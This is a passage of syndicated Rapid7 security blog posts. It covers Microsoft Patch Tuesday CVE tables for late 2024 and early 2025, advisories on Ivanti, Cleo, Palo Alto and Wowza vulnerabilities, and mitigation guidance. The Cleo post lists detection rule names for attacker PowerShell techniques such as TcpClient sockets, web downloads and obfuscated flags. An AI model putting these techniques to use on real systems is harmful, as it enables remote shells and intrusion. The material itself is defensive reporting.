CVE-2025-21226 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21227 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21228 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21229 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21232 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21256 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21261 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21310 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21324 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21308 Windows Themes Spoofing Vulnerability No Yes 6.5
CVE-2025-21217 Windows NTLM Spoofing Vulnerability No No 6.5
CVE-2025-21272 Windows COM Server Information Disclosure Vulnerability No No 6.5
CVE-2025-21288 Windows COM Server Information Disclosure Vulnerability No No 6.5
CVE-2025-21278 Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability No No 6.2
CVE-2025-21242 Windows Kerberos Information Disclosure Vulnerability No No 5.9
CVE-2025-21336 Windows Cryptographic Information Disclosure Vulnerability No No 5.6
CVE-2025-21316 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21318 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21319 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21320 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21321 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21274 Windows Event Tracing Denial of Service Vulnerability No No 5.5
CVE-2025-21374 Windows CSC Service Information Disclosure Vulnerability No No 5.5
CVE-2025-21215 Secure Boot Security Feature Bypass Vulnerability No No 4.6
CVE-2025-21213 Secure Boot Security Feature Bypass Vulnerability No No 4.6
CVE-2025-21269 Windows HTML Platforms Security Feature Bypass Vulnerability No No 4.3
CVE-2025-21268 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3
CVE-2025-21329 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3
CVE-2025-21328 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3
CVE-2025-21189 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3
CVE-2025-21332 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3
CVE-2025-21210 Windows BitLocker Information Disclosure Vulnerability No No 4.2
CVE-2025-21214 Windows BitLocker Information Disclosure Vulnerability No No 4.2
CVE-2025-21312 Windows Smart Card Reader Information Disclosure Vulnerability No No 2.4

ESU Windows Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21338 GDI+ Remote Code Execution Vulnerability No No 7.8

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21187 Microsoft Power Automate Remote Code Execution Vulnerability No No 7.8

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21385 Microsoft Purview Information Disclosure Vulnerability No No 8.8
CVE-2025-21363 Microsoft Word Remote Code Execution Vulnerability No No 7.8
CVE-2025-21344 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.8
CVE-2025-21361 Microsoft Outlook Remote Code Execution Vulnerability No No 7.8
CVE-2025-21345 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
CVE-2025-21356 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
CVE-2025-21365 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-21402 Microsoft Office OneNote Remote Code Execution Vulnerability No No 7.8
CVE-2025-21364 Microsoft Excel Security Feature Bypass Vulnerability No No 7.8
CVE-2025-21354 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21362 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21360 Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21366 Microsoft Access Remote Code Execution Vulnerability No Yes 7.8
CVE-2025-21395 Microsoft Access Remote Code Execution Vulnerability No Yes 7.8
CVE-2025-21186 Microsoft Access Remote Code Execution Vulnerability No Yes 7.8
CVE-2025-21348 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 7.2
CVE-2025-21346 Microsoft Office Security Feature Bypass Vulnerability No No 7.1
CVE-2025-21357 Microsoft Outlook Remote Code Execution Vulnerability No No 6.7
CVE-2025-21393 Microsoft SharePoint Server Spoofing Vulnerability No No 6.3

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21311 Windows NTLM V1 Elevation of Privilege Vulnerability No No 9.8
CVE-2025-21239 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21241 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21248 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21292 Windows Search Service Elevation of Privilege Vulnerability No No 8.8
CVE-2025-21291 Windows Direct Show Remote Code Execution Vulnerability No No 8.8
CVE-2025-21224 Windows Line Printer Daemon (LPD) Service Remote Code Execution Vulnerability No No 8.1
CVE-2025-21370 Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21234 Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21235 Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21335 Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-21333 Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-21334 Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-21382 Windows Graphics Component Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21271 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21275 Windows App Package Installer Elevation of Privilege Vulnerability No Yes 7.8
CVE-2025-21304 Microsoft DWM Core Library Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21315 Microsoft Brokering File System Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21372 Microsoft Brokering File System Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21326 Internet Explorer Remote Code Execution Vulnerability No No 7.8
CVE-2025-21343 Windows Web Threat Defense User Service Information Disclosure Vulnerability No No 7.5
CVE-2025-21330 Windows Remote Desktop Services Denial of Service Vulnerability No No 7.5
CVE-2025-21207 Windows Connected Devices Platform Service (Cdpsvc) Denial of Service Vulnerability No No 7.5
CVE-2025-21299 Windows Kerberos Security Feature Bypass Vulnerability No No 7.1
CVE-2025-21314 Windows SmartScreen Spoofing Vulnerability No No 6.5
CVE-2025-21313 Windows Security Account Manager (SAM) Denial of Service Vulnerability No No 6.5
CVE-2025-21301 Windows Geolocation Service Information Disclosure Vulnerability No No 6.5
CVE-2025-21193 Active Directory Federation Server Spoofing Vulnerability No No 6.5
CVE-2025-21202 Windows Recovery Environment Agent Elevation of Privilege Vulnerability No No 6.1
CVE-2025-21225 Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability No No 5.9
CVE-2025-21257 Windows WLAN AutoConfig Service Information Disclosure Vulnerability No No 5.5
CVE-2025-21340 Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability No No 5.5
CVE-2025-21280 Windows Virtual Trusted Platform Module Denial of Service Vulnerability No No 5.5
CVE-2025-21284 Windows Virtual Trusted Platform Module Denial of Service Vulnerability No No 5.5
CVE-2025-21317 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21323 Windows Kernel Memory Information Disclosure Vulnerability No No 5.5
CVE-2025-21219 MapUrlToZone Security Feature Bypass Vulnerability No No 4.3

CVE-2025-0282: Ivanti Connect Secure zero-day exploited in the wild

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2025/01/08/etr-cve-2025-0282-ivanti-connect-secure-zero-day-exploited-in-the-wild/

CVE-2025-0282: Ivanti Connect Secure zero-day exploited in the wild

On Wednesday, January 8, 2025, Ivanti disclosed two CVEs affecting Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways. CVE-2025-0282 is a stack-based buffer overflow vulnerability that allows remote, unauthenticated attackers to execute code on the target device. CVE-2025-0283 is a stack-based buffer overflow that allows local authenticated attackers to escalate privileges on the device.

Ivanti’s advisory indicates that CVE-2025-0282 has been exploited in the wild against a limited number of Connect Secure devices. Per the vendor, Ivanti Policy Secure and Neurons for ZTA are not known to have been exploited in the wild at time of disclosure. Google’s Mandiant division and Microsoft’s Threat Intelligence Center (MSTIC) are credited with the discovery of the two issues, which almost certainly means further intelligence will be released soon on one or more zero-day threat campaigns targeting Ivanti devices.

Ivanti also has a short blog available on the new CVEs here.

Mitigation guidance

The following products and versions are vulnerable to CVE-2025-0282:

  • Ivanti Connect Secure 22.7R2 through 22.7R2.4
  • Ivanti Policy Secure 22.7R1 through 22.7R1.2
  • Ivanti Neurons for ZTA 22.7R2 through 22.7R2.3

The following products and versions are vulnerable to CVE-2025-0283:

  • Ivanti Connect Secure 22.7R2.4 and prior, 9.1R18.9 and prior
  • Ivanti Policy Secure 22.7R1.2 and prior
  • Ivanti Neurons for ZTA 22.7R2.3 and prior

Ivanti has a full table of affected versions and corresponding solution estimates in its advisory. As of 1 PM ET on Wednesday, January 8, patches are available for both CVEs in Ivanti Connect Secure (22.7R2.5), but the CVEs are unpatched in Ivanti Policy Secure and Neurons for ZTA (patches appear to be expected January 21, 2025, per the advisory).

Customers should apply available Ivanti Connect Secure patches immediately, without waiting for a typical patch cycle to occur. Ivanti’s advisory notes that “Exploitation of CVE-2025-0282 can be identified by the Integrity Checker Tool (ICT). We strongly advise all customers to closely monitor their internal and external ICT as a part of a robust and layered approach to cybersecurity to ensure the integrity and security of the entire network infrastructure.”

For the latest information, please refer to the vendor advisory.

Rapid7 customers

Our VM engineering team is researching options for coverage of CVE-2025-0282 and CVE-2025-0283 in Ivanti Connect Secure and expects vulnerability checks to be available to InsightVM and Nexpose customers no later than Thursday, January 9, 2025.

Patch Tuesday – December 2024

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2024/12/10/patch-tuesday-december-2024/

Patch Tuesday - December 2024

Microsoft is addressing 70 vulnerabilities this December 2024 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation and public disclosure for one of the vulnerabilities published today, and this is reflected in a CISA KEV entry. For the third month in a row, Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication. Today sees the publication of 16 critical remote code execution (RCE) vulnerabilities, which is more than usual. Two browser vulnerabilities have already been published separately this month, and are not included in the total.

Common Log File System: zero-day EoP

This month’s zero-day vulnerability is CVE-2024-49138, an elevation of privilege vulnerability in the Windows Common Log File System (CLFS) driver, a general-purpose Windows logging service that can be used by software clients running in user-mode or kernel-mode. Exploitation leads to SYSTEM privileges, and if this all sounds familiar, it should.

There have been a series of zero-day elevation of privilege vulnerabilities in CLFS over the past few years. Past offenders are CVE-2022-24521, CVE-2023-23376, CVE-2022-37969, and CVE-2023-28252; today’s addition of CVE-2024-49138 is the first CLFS zero-day vulnerability which Microsoft has published in 2024. Although the advisory doesn’t provide much detail on the means of exploitation, the weakness is CWE-122: Heap-based Buffer Overflow, which most commonly leads to crashes/denial of service, but can also lead to code execution.

Ransomware authors who have abused previous CLFS vulnerabilities will be only too pleased to get their hands on a fresh one. Expect more CLFS zero-day vulnerabilities to emerge in the future, unless Microsoft decides to perform a full replacement of the aging CLFS codebase instead of offering spot fixes for specific flaws. Patches are available for all versions of Windows.

Groups of critical RCE

Patterns emerge when we consider the 16 critical RCE vulnerabilities published today as a whole, which might somewhat reduce the level of alarm that unusually large number might otherwise cause weary defenders.

LDAP: critical RCE

A trio of Windows LDAP critical RCE vulnerabilities receive patches this month, including CVE-2024-49112, which has a  CVSSv3 base score of 9.8, which is the highest of any of the vulnerabilities which Microsoft has published today. Exploitation is via a specially crafted set of LDAP calls, and leads to code execution within the context of the LDAP service; although the advisory doesn’t specify, the LDAP service runs in a SYSTEM context. Microsoft advises defenders who still permit domain controllers to receive inbound RPC calls from untrusted networks or to access the internet to stop doing that.

LSASS: critical RCE

Another potential cause for concern this month: CVE-2024-49126 is a critical RCE in the Local Security Authority Subsystem Service (LSASS). Exploitation could potentially be carried out remotely, and the attacker needs no privileges, nor does the user need to perform any action; the only silver lining is that an attacker must win a race condition. Although the advisory says that code execution would be in the context of the server’s account, it might be safest to assume that code execution would be in a SYSTEM context.

Hyper-V: container escape

CVE-2024-49117 describes a container escape for Hyper-V; exploitation requires that the attacker make specially crafted file operation requests on the virtual machine (VM) to hardware resources on the VM, which could result in remote code execution on the hypervisor. The FAQ on the advisory sets out that no special privileges are required in the context of the VM, so any level of access is enough to break free from the VM. We also learn that the container escape could be lateral, where an attacker moves from one VM to another, rather than to the hypervisor.

Remote Desktop Services: 8 critical RCEs

All eight critical RCE vulnerabilities in Remote Desktop Services published today (e.g. CVE-2024-49106) share a number of similarities: they have identical CVSS vectors, exploitation requires that an attacker win a race condition, and the same research group is credited in each case.

Microsoft lifecycle update

There are no significant Microsoft product lifecycle transitions this month.

Summary charts

Patch Tuesday - December 2024
Patch Tuesday - December 2024
Patch Tuesday - December 2024

Summary tables

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49041 Microsoft Edge (Chromium-based) Spoofing Vulnerability No No 4.3
CVE-2024-12053 Chromium: CVE-2024-12053 Type Confusion in V8 No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49063 Microsoft/Muzic Remote Code Execution Vulnerability No No 8.4

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49068 Microsoft SharePoint Elevation of Privilege Vulnerability No No 8.2
CVE-2024-43600 Microsoft Office Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49069 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2024-49142 Microsoft Access Remote Code Execution Vulnerability No No 7.8
CVE-2024-49070 Microsoft SharePoint Remote Code Execution Vulnerability No No 7.4
CVE-2024-49059 Microsoft Office Elevation of Privilege Vulnerability No No 7
CVE-2024-49064 Microsoft SharePoint Information Disclosure Vulnerability No No 6.5
CVE-2024-49062 Microsoft SharePoint Information Disclosure Vulnerability No No 6.5
CVE-2024-49065 Microsoft Office Remote Code Execution Vulnerability No No 5.5

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49057 Microsoft Defender for Endpoint on Android Spoofing Vulnerability No No 8.1
CVE-2024-43594 System Center Operations Manager Elevation of Privilege Vulnerability No No 7.3

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49093 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability No No 8.8
CVE-2024-49117 Windows Hyper-V Remote Code Execution Vulnerability No No 8.8
CVE-2024-49106 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49108 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49115 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49119 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49123 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49132 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49116 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49076 Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49074 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49114 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49075 Windows Remote Desktop Services Denial of Service Vulnerability No No 7.5
CVE-2024-49107 WmsRepair Service Elevation of Privilege Vulnerability No No 7.3
CVE-2024-49097 Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability No No 7
CVE-2024-49095 Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability No No 7
CVE-2024-49073 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-49092 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-49077 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-49078 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-49083 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-49110 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability No No 6.8
CVE-2024-49094 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability No No 6.6
CVE-2024-49101 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability No No 6.6
CVE-2024-49111 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability No No 6.6
CVE-2024-49081 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability No No 6.6
CVE-2024-49109 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability No No 6.6
CVE-2024-49087 Windows Mobile Broadband Driver Information Disclosure Vulnerability No No 4.6
CVE-2024-49098 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability No No 4.3
CVE-2024-49099 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability No No 4.3
CVE-2024-49103 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability No No 4.3

Windows ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2024-49112 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability No No 9.8
CVE-2024-49085 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-49086 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-49102 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-49104 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-49125 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2024-49080 Windows IP Routing Management Snapin Remote Code Execution Vulnerability No No 8.8
CVE-2024-49120 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49128 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2024-49126 Windows Local Security Authority Subsystem Service (LSASS) Remote Code Execution Vulnerability No No 8.1
CVE-2024-49127 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability No No 8.1
CVE-2024-49122 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability No No 8.1
CVE-2024-49118 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability No No 8.1
CVE-2024-49124 Lightweight Directory Access Protocol (LDAP) Client Remote Code Execution Vulnerability No No 8.1
CVE-2024-49072 Windows Task Scheduler Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49138 Windows Common Log File System Driver Elevation of Privilege Vulnerability Yes Yes 7.8
CVE-2024-49088 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49090 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2024-49079 Input Method Editor (IME) Remote Code Execution Vulnerability No No 7.8
CVE-2024-49129 Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability No No 7.5
CVE-2024-49121 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability No No 7.5
CVE-2024-49113 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability No No 7.5
CVE-2024-49096 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2024-49089 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 7.2
CVE-2024-49091 Windows Domain Name Service Remote Code Execution Vulnerability No No 7.2
CVE-2024-49084 Windows Kernel Elevation of Privilege Vulnerability No No 7
CVE-2024-49082 Windows File Explorer Information Disclosure Vulnerability No No 6.8

Widespread exploitation of Cleo file transfer software (CVE-2024-50623)

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/

Widespread exploitation of Cleo file transfer software (CVE-2024-50623)

On Monday, December 9, multiple security firms began privately circulating reports of in-the-wild exploitation targeting Cleo file transfer software. Late the evening of December 9, security firm Huntress published a blog on active exploitation of three different Cleo products (docs):

  • Cleo VLTrader, a server-side solution for “mid-enterprise organizations”
  • Cleo Harmony, which provides file transfer capabilities for “large enterprises”
  • Cleo LexiCom, a desktop-based client for communication with major trading networks  

Huntress’s blog says the exploitation they’re seeing across Cleo products results from an insufficient patch for CVE-2024-50623, a vulnerability disclosed in Cleo VLTrader, Cleo Harmony, and Cleo LexiCom in October 2024. Cleo indicated that the vulnerability was fixed in version 5.8.0.21 of all three solutions, but according to Huntress, 5.8.0.21 remains vulnerable to exploitation. CVE-2024-50623 is a cross-site scripting issue (CWE-79) that allows for unauthenticated remote code execution on target systems.

Update: Cleo evidently communicated with customers on December 10 acknowledging a “critical vulnerability in Cleo Harmony, VLTrader, and LexiCom that could allow an unauthenticated user to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.”

As of December 10, Rapid7 MDR has confirmed successful exploitation of this issue in customer environments; similar to Huntress, our team has observed enumeration and post-exploitation activity and is investigating multiple incidents.

File transfer software continues to be a target for adversaries, and for financially motivated threat actors in particular. Rapid7 recommends taking emergency action to mitigate risk related to this threat.

Mitigation guidance

The following products and versions are vulnerable to CVE-2024-50623. The information below contradicts previous vendor guidance, which indicated that 5.8.0.21 resolved the issue. Cleo has updated their advisory as of December 10, 2024 to confirm 5.8.0.21 is still vulnerable.

  • Cleo Harmony before and including version 5.8.0.21
  • Cleo VLTrader before and including version 5.8.0.21
  • Cleo LexiCom before and including version 5.8.0.21

According to Huntress, “Cleo is preparing a new CVE designation and expects a new patch to be released mid-week.”

In the absence of an effective patch for CVE-2024-50623 (and any other CVEs that may be assigned to this exploit), Cleo customers should remove affected products from the public internet, ensuring they are behind a firewall. Per Huntress’s investigation, disabling Cleo’s Autorun Directory, which allows command files to be automatically processed, may also prevent the latter part of the attack chain from being executed.

Huntress’s blog has several descriptions of post-exploitation activity, including attack chain artifacts, commands run, and files dropped for persistence. Rapid7 recommends that affected customers review these indicators and investigate their environments for suspicious activity dating back to at least December 3, 2024.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-50623 on Windows with an authenticated vulnerability check expected to be available in today’s (Tuesday, December 10) content release. Please note that content releases are typically available late in the evening ET on Patch Tuesday.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of rules deployed and alerting on behavior related to this threat:

  • Suspicious Process – XORed Data in PowerShell
  • Suspicious Process – PowerShell System.Net.Sockets.TcpClient
  • Attacker Behavior – Possible Cleo MFT Exploitation 2024
  • Attacker Tool – PowerShell -noni -ep -nop Flags
  • Attacker Behavior – Obfuscated Powershell Script Containing -noni -ep -nop Flags
  • Suspicious Process – Powershell Invoke-WebRequest

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2024/11/20/multiple-vulnerabilities-in-wowza-streaming-engine-fixed/

Multiple Vulnerabilities in Wowza Streaming Engine (Fixed)

Wowza Streaming Engine below v4.9.1 is vulnerable to multiple vulnerabilities on Linux and Windows. An unauthenticated attacker can poison the Wowza Streaming Engine Manager web dashboard with a stored cross-site scripting (“XSS”) payload. When an administrator views the poisoned dashboard, additional authenticated vulnerabilities will automatically be exploited for remote code execution on the underlying server. The code execution context is privileged: root on Linux, LocalSystem on Windows. These vulnerabilities are tracked as CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056. All five were patched on November 20, 2024, with the release of Wowza Streaming Engine v4.9.1.

Product description

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application.

Credit

These issues were reported to the Wowza Media Systems team by Ryan Emmons, Lead Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. Rapid7 is grateful to the Wowza team for their assistance and collaboration.

Vulnerability details

The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research. Rapid7 identified multiple security vulnerabilities as part of this research project, and those vulnerabilities are outlined in the table below.

CVE Description CVSS
CVE-2024-52052 An authenticated administrator can define a custom application property and poison a stream target for high-privilege remote code execution. 9.4
CVE-2024-52053 An unauthenticated attacker can inject client-side JavaScript into the administrator dashboard to automatically hijack admin accounts. 8.7
CVE-2024-52054 An injection permits an administrator user to create an XML file anywhere on the file system. 5.1
CVE-2024-52055 An injection permits an administrator user to read any file on the file system if the target directory contains an XML file. 8.2
CVE-2024-52056 An injection permits an administrator user to delete any directory on the host system if the target directory contains an XML file. 6.9

Exploitation was tested against Wowza Streaming Engine on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. Based on information provided by the vendor, the unauthenticated injection vulnerability affects all Wowza Streaming Engine Manager versions, while the four authenticated vulnerabilities were introduced in v4.3.0.

Vendor statement

“We at Wowza Media Systems are focused on security excellence, and by partnering with trusted researchers like Rapid7, we proactively respond to and fix vulnerabilities to safeguard our customers’ interests.”

Mitigation guidance

Per to the vendor, issues in this disclosure can be remediated by upgrading to Wowza Streaming Engine version 4.9.1 or any future version.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-52052, CVE-2024-52053, CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 with authenticated vulnerability checks expected to be available in the November 20, 2024 content release.

Disclosure timeline

July 30, 2024 – September 3, 2024: Rapid7 attempts to contact the vendor to disclose vulnerabilities discovered in Wowza Streaming Engine.
September 3, 2024: Rapid7 makes contact with the vendor, who acknowledges disclosure materials.
September 5, 2024 – September 18, 2024: Rapid7 and vendor discuss coordinated vulnerability disclosure steps and timeline.
October 2, 2024: Vendor communicates Q4 remediation timeline.
October 31, 2024: Patch shared with Rapid7 for testing.
November 4, 2024: Rapid7 confirms the patch is successful.
November 5, 2024: Rapid7 provides CVE IDs.
November 15, 2024: Vendor proposes Wednesday, November 20 for coordinated vulnerability disclosure. Rapid7 agrees.
November 20, 2024: This disclosure.

Zero-day exploitation targeting Palo Alto Networks firewall management interfaces

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2024/11/15/etr-zero-day-exploitation-targeting-palo-alto-networks-firewall-management-interfaces/

Zero-day exploitation targeting Palo Alto Networks firewall management interfaces

On Friday, November 8, 2024, cybersecurity firm Palo Alto Networks (PAN) published a bulletin (PAN-SA-2024-0015) advising firewall customers to take steps to secure their firewall management interfaces amid unverified rumors of a possible new vulnerability. Rapid7 threat intelligence teams have also been monitoring rumors of a possible zero-day vulnerability, but until now, those rumors have been unsubstantiated.

Late in the evening of Thursday, November 14, the Palo Alto Networks advisory was updated to note that PAN had “observed threat activity exploiting an unauthenticated remote command execution vulnerability against a limited number of firewall management interfaces which are exposed to the Internet.” The firm indicated they are actively investigating. As of the morning of Friday, November 15, there is no CVE or fix for the issue PAN has identified.

Per the vendor bulletin:

  • Risk of exploitation is currently believed to be limited if access to the management interface access is restricted
  • No specific indicators of compromise (IOCs) are currently available
  • If the firewall management interface was exposed to the internet, PAN advises customers to monitor for suspicious threat activity (e.g., unrecognized configuration changes or users)
  • Prisma Access and Cloud NGFW are believed not to be affected, per the advisory; if this changes, Rapid7 will update this blog

Mitigation guidance

In lieu of a fix, Palo Alto Networks customers should ensure access to the firewall management interface is configured correctly in accordance with PAN’s recommended best practice deployment guidelines — namely, that access is restricted to trusted internal IPs only and the management interface is not exposed or accessible to the internet. More guidance is available here.

The Palo Alto Networks advisory also has directions on identifying internet-facing management interfaces and/or devices that may otherwise require remediation action. Rapid7 strongly recommends reviewing the advisory and configuration guidance. We will update this blog with further information as it becomes available, but as always, we encourage Palo Alto Networks customers to refer to the vendor advisory for the latest information.

Patch Tuesday – November 2024

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2024/11/12/patch-tuesday-november-2024/

Patch Tuesday - November 2024

Microsoft is addressing 90 vulnerabilities this November 2024 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation and/or public disclosure for four of the vulnerabilities published today, although as with last month’s batch, it does not evaluate any of these zero-day vulnerabilities as critical severity (yet). Of those four, Microsoft lists two as exploited in the wild, and both of these are now listed on CISA KEV. Microsoft is aware of some level of public disclosure for three. Microsoft is also patching two further critical remote code execution (RCE) vulnerabilities today. Two browser vulnerabilities have already been published separately this month, and are not included in the total.

Active Directory Certificate Service: zero-day EoP aka EKUwu

